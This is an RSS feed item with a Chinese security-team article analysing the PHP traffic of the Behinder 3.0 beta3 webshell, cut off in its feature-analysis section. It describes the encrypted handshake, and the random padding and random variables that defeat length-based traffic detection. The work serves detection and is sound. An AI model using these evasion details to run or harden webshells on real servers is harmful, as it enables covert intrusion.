<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>MS509</title>
    <link>https://wechat2rss.xlab.app/feed/55d7dabccad3e569e3c9fc2a14a07dd86d7b6666.xml</link>
    <description>MS509为中国网安开展互联网攻防技术研究的专业团队，当前主攻方向包括WEB安全、移动安全、二进制安全等。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (MS509)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM64YB4UT5wClsvQEzLyEHXshqpHicxVX77FmySvdhZkz9A/0</url>
      <title>MS509</title>
      <link>https://wechat2rss.xlab.app/feed/55d7dabccad3e569e3c9fc2a14a07dd86d7b6666.xml</link>
    </image>
    <item>
      <title>冰蝎3.0-分析系列 1-beta3-php</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935805&amp;idx=1&amp;sn=2cbf8c1e0138f801d92ffbaa44015c52</link>
      <description>本文主要针对冰蝎3.0beta3版本在php环境下进行分析。分析内容包括：beta3版本建立连接开始过程以及可能特征分析。&#xA;备注：由于beta2版本很多bug，因此估计不太可能被使用，因此这里分析beta3版本。作者的更新挺快的，明显的特征</description>
      <content:encoded><![CDATA[<p>
原创 <span>AI</span> <span>2020-08-20 16:21</span> <span style="display: inline-block;"></span>
</p>

<p>本文主要针对冰蝎3.0beta3版本在php环境下进行分析。分析内容包括：beta3版本建立连接开始过程以及可能特征分析。</p>
<p>备注：由于beta2版本很多bug，因此估计不太可能被使用，因此这里分析beta3版本。作者的更新挺快的，明显的特征</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=82b74fba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12PNZC8b0Yz6fKHbLdauctXpqd1BWg7012ZTvN71qtfsLyicyH5a0HWUg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><img class="__bg_gif" data-ratio="0.11875" style="font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 25.6px;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;width: 640px !important;visibility: visible !important;" data-type="gif" data-w="640" title="1444706553487851.gif" src="https://wechat2rss.xlab.app/img-proxy/?k=1e1426cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F640%3Fwx_fmt%3Dgif"/></p><section style="white-space: normal;max-width: 100%;box-sizing: border-box;line-height: 25.6px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">文章目录</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><ol class="list-paddingleft-2" style="margin: 0.5em;width: 577.422px;line-height: 1.8em;"><li style="list-style-type: none;"><p>1. 前言</p></li><li style="list-style-type: none;"><p>2. PHP-webshell分析</p></li><ol class="list-paddingleft-2" style="margin-left: 1em;list-style-type: lower-alpha;"><li style="list-style-type: none;"><p>2.1. 错误密码通信过程</p></li><li style="list-style-type: none;"><p>2.2. 正确密码通信过程</p></li></ol><li style="list-style-type: none;"><p>3. 特征分析</p></li><ol class="list-paddingleft-2" style="margin-left: 1em;list-style-type: lower-alpha;"><li style="list-style-type: none;"><p>3.1. HTTP头</p></li></ol><li style="list-style-type: none;"><p>4. 小结</p></li></ol></section></section></section></section></section></section></section><p style="margin-bottom: 1.234em;white-space: normal;word-break: break-word;overflow-wrap: break-word;"><br/></p><section style="line-height: 25.6px;white-space: normal;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">1</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">前言</span><span style="color: rgb(68, 68, 68);font-family: FangSong_GB2312;font-size: 22pt;font-weight: bold;background-color: rgb(255, 255, 255);text-indent: 0pt;"></span></section></section></section></section></section></section><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 14.8pt;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;">本文主要针对冰蝎3.0beta3版本在php环境下进行分析。分析内容包括：beta3版本建立连接开始过程以及可能特征分析。<br/>备注：由于beta2版本很多bug，因此估计不太可能被使用，因此这里分析beta3版本。作者的更新挺快的，明显的特征被消除掉了，增大了检测难度。</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;"></span></p><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 14.8pt;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;"><br/></span></p><section style="white-space: normal;line-height: 25.6px;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">2</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">PHP-Webshell分析</span><span style="background-color: rgb(255, 255, 255);font-family: 等线;font-size: 10.5pt;text-indent: 0pt;color: rgb(51, 51, 51);"></span></section></section></section></section></section></section><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 14.8pt;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;">PHP的webshell没有变化，如下图：<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;mso-font-kerning:0.0pt;text-underline:none;text-decoration:none;"><shape type="#_x0000_t75" href="http://www.ms509.com/" filled="f" style="text-indent:0;left:0;width:415.3pt;height:203.35002pt;"><imagedata title="image1"></imagedata></shape><img data-ratio="0.4900332225913621" style="width: 553.73px;height: 271.13px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1204" src="https://wechat2rss.xlab.app/img-proxy/?k=7e6da762&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12lwPJCLmsxGLxAHpB7X4XnK7RicVMRSbxn724rTH3rOe3bTASkDOMia4Q%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;"></span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-top: 16.8pt;margin-bottom: 13.2pt;background: rgb(255, 255, 255);"><span style="font-size:16.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;font-weight:bold;">2.1.错误密码通信过程</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;font-weight:bold;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;">首先输入错误密码admin，发送第一个连接的数据包。由于密码错误返回包的数据为空。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.31209150326797386" style="width: 553.73px;height: 172.8px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1224" src="https://wechat2rss.xlab.app/img-proxy/?k=337108b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12ejZrCFRXN7r1LwsjkeGvibZfJ9sEgksSZSw8BOAudxExxBgGzkLezmQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>下面使用beta3版本测试，并且这里尝试使用错误密码测试多次。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.39215686274509803" style="width: 553.73px;height: 216.87px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="714" src="https://wechat2rss.xlab.app/img-proxy/?k=b4bc0747&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12goE6FvtBnloap6IibYhnHMwrgFJC4xyb28V7mTBIJUffbvMBCcw9Pmg%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>通过测试发现第一个认证数据包的大小不固定。本次测试第一次第一个数据包为3052字节，第二次为6360字节，第三次（成功）为4440字节。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.482484076433121" style="width: 553.73px;height: 267.33px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1256" src="https://wechat2rss.xlab.app/img-proxy/?k=8b7f0bb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12Y1yfT2k9J04prJDUvicllxVXmDFXmOo5Ga6bGmPzWo5OphRO2uLS4tA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>通过逆向分析发现作者对代码进行了优化，有多层try catch等。首先进行aes解密，如果失败则进行异或解密再失败则进入到密钥协商的流程中，数据流量看beta3和beta2相同。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.7242302543507363" style="width: 553.73px;height: 401.2px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1494" src="https://wechat2rss.xlab.app/img-proxy/?k=da555ab2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12rzZZ7hwD4NLAfaKneziaL2axqx2l5UCREoURdf3X3sAhicJ5dOBwBhAQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>解密第一个认证数据包方式相同，解密后格式也相同。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.17647058823529413" style="width: 553.73px;height: 97.6px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1462" src="https://wechat2rss.xlab.app/img-proxy/?k=3a8c942a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc124cpcIoFPEtic47DxB7Nb86fenux6Xic5Vt6qLjRMFpcvT3hibwxsLmckw%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>构造数据格式相同，如下图：<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.36189402480270577" style="width: 553.73px;height: 200.33px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1774" src="https://wechat2rss.xlab.app/img-proxy/?k=72c4ef4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12ibmKICWdtvNWIOxSznp6veZhSsYFMTDdJjKliaxDBI50grQwvckkDzeQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>解密后第一个认证数据包，发现content变量变成了很长的字符串。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.6869300911854104" style="width: 553.73px;height: 380.33px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1316" src="https://wechat2rss.xlab.app/img-proxy/?k=1dae1855&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12Y1SIuELfhZWjqhiciboxQOdRtPjeRsYQRXBedJZ4cubiarvhIrLKuQgEg%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>beta2的UUID方式变成了随机字符串，因此$content变量变成了随机字符串，并且长度为随机的不大于3000个字符。如下图：<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.10290237467018469" style="width: 553.73px;height: 57px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="758" src="https://wechat2rss.xlab.app/img-proxy/?k=27d241ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12JTOJCK7LsEdT2XPA5EvToEMwOIQYcxPu2ibBYkh56HKibOZSSibwwOqtA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.2625" style="width: 553.73px;height: 145.33px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1120" src="https://wechat2rss.xlab.app/img-proxy/?k=2fd63942&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12ia9nlmfibQRKkxI28qb5pkoYiapA4psQ2ZdUO8icIOicSB5IU5DeTyw9iajg%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>通过上述随机长度的字符串的方式可知，第一个认证数据包的大小是变化的，因此这里将无法使用长度作为辅助检测的依据。</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"></span></p><h3 style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 13.5pt;font-family: 宋体;margin-top: 16.8pt;margin-bottom: 13.2pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:16.0pt;font-family:FangSong_GB2312;color:#444444;">2.2.正确密码通信过程</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;color:#444444;"></span></h3><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;">第一个认证数据包解密通过则执行php代码然后返回数据。如下图：<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.593192868719611" style="width: 553.73px;height: 328.6px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1234" src="https://wechat2rss.xlab.app/img-proxy/?k=bdbf2805&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12pkkxTUKWko7L9zF8gRCichSMM1OcdFkiaEQTucsW9UuBvH4GnG5dpr1Q%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>解密返回的数据包格式与beta2版本相同，msg进行base64解编码后为随机字符串。因此返回的数据包大小也不会固定。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.12396694214876033" style="width: 553.73px;height: 68.47px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1452" src="https://wechat2rss.xlab.app/img-proxy/?k=3efa2bb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc125t3wVuVPIutQfNH6DEKoveclEopCU4VvNtbpowLEWVCX6kzMXdKCRA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>第二个数据包获取基本信息<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.4331723027375201" style="width: 553.73px;height: 239.87px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1242" src="https://wechat2rss.xlab.app/img-proxy/?k=64a8340c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12LbSamKF0SSH8pib6ecuicqQajHAdHoWxrrat3Pph3PWxYTicjSTq9ic0aQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>解密后，beta3比beta2多出$whatever变量，里面存放随机字符串。这样规避了流量检测。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.12362637362637363" style="width: 553.73px;height: 68.33px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1456" src="https://wechat2rss.xlab.app/img-proxy/?k=92156c84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12eFvSGiabJywbJvShxvhQdfYf8bMIrJtbHibibstczfOj3RicF9BokJ8zOw%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.2071097372488408" style="width: 553.73px;height: 114.87px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1294" src="https://wechat2rss.xlab.app/img-proxy/?k=cf111fa5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12qYLGPqNkydqsYgm9Hd2pPK3HCbvibx5NztGNkTwsHgibhpXpuvH8T5bA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>通过逆向分析可知，读取payload中的php代码时，加入了whatever变量，并赋值为随机字符串。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.23353293413173654" style="width: 553.73px;height: 129.47px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1670" src="https://wechat2rss.xlab.app/img-proxy/?k=02a1af1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12F1tUKHRvxMyQITBk1QoHSmZSDCrUNIgSrQqHcKnjcU1wOZM2GeXYug%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>同时通过随机时间请求获取基本信息方式来保持存活状态。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.24288840262582057" style="width: 553.73px;height: 134.53px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="914" src="https://wechat2rss.xlab.app/img-proxy/?k=75bfd7a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc129nOgsUhCPL4bU3pTosrz6Tt8IcoOEIGLq0onOib4Aa9R9mF8Y3h1sRw%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>BasicInfo获取的信息beta3和beta2完全相同。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.14444444444444443" style="width: 553.73px;height: 79.87px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1440" src="https://wechat2rss.xlab.app/img-proxy/?k=2b9a94ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12ogpVos0ia31LFFibSoB7Z91N9N2sqxkq0SqLdY5JB6d4TAe9nyCnHSvg%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>第三个数据包为获取当前目标文件信息。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.4026186579378069" style="width: 553.73px;height: 222.93px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1222" src="https://wechat2rss.xlab.app/img-proxy/?k=8d5b1010&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12IbmdpuccmyArJvzqDPMVf3Df5s8IhMXsvy0RhuBHKPSiaxf0u3a1y3w%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>解密后，部分关键代码片段如下图：<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.23138832997987926" style="width: 553.73px;height: 128.33px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="994" src="https://wechat2rss.xlab.app/img-proxy/?k=2788178a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12NjibLZqgt8cSdKlz41WMsqPyZmc2vGe56tJyLpic4Syh8tyEf1mKQOHQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>然后测试执行cmd命令whoami<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.4159869494290375" style="width: 553.73px;height: 230.33px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1226" src="https://wechat2rss.xlab.app/img-proxy/?k=fb606da8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12xq8icica2VH7mvgicBR3KJaicSvoKYjhl62rbk22bkYrJZ667flsJO3tww%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.3632" style="width: 553.73px;height: 201.13px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1250" src="https://wechat2rss.xlab.app/img-proxy/?k=6d35ca34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc123cO9mDIEbYmrcoFoEic4GllfjeHiarm0Wf5U8D2jXZjsibG2CBOHphybA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>解密后，部分关键代码片段如下图：<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.23940677966101695" style="width: 553.73px;height: 132.53px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="944" src="https://wechat2rss.xlab.app/img-proxy/?k=961337ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12ibxP8HYnyC6Y5lCZNcr1EqwEWg9GmTk4jyv85W3ic83EmhtLcIicX7u1w%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>返回数据解密后与beta2版本相同，如下图：<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.07605177993527508" style="width: 553.73px;height: 42.13px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1236" src="https://wechat2rss.xlab.app/img-proxy/?k=a33c9cce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12aibZPw4ialeiadDJOWcuDegRFobUC7tEATV0qUx7UH7XqwgmSswhty4uw%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><br/></span></p><section style="white-space: normal;line-height: 25.6px;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">3</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><span style="font-size: 20px;">特征分析</span></section></section></section></section></section><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 14.8pt;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;">通过分析可知目前beta3版本将UUID替换为随机长度的字符串，因此导致第一个认证数据包和返回数据以及第二个获取基本信息的数据长度不固定，不能像beta2版本一样进行检测。</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;"></span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 